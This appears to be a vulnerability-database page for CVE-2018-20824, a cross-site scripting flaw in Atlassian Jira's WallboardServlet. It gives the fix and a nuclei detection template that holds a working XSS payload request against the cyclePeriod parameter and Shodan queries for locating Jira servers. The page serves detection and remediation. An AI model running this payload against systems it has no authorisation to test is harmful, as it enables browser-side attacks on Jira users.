HexBrain

Browse / CVEs / CVE-2018-20824

CVE-2018-20824· atlassian / jira· CWE-79

Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
38%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
Positive when: matches /(?mi)timeout:\salert\(document\.domain\)/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-20824 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-20824

info:
  name: Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69238
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20824
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20824
    cwe-id: CWE-79
    epss-score: 0.37986
    epss-percentile: 0.98565
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve2018,cve,atlassian,jira,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)timeout:\salert\(document\.domain\)

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from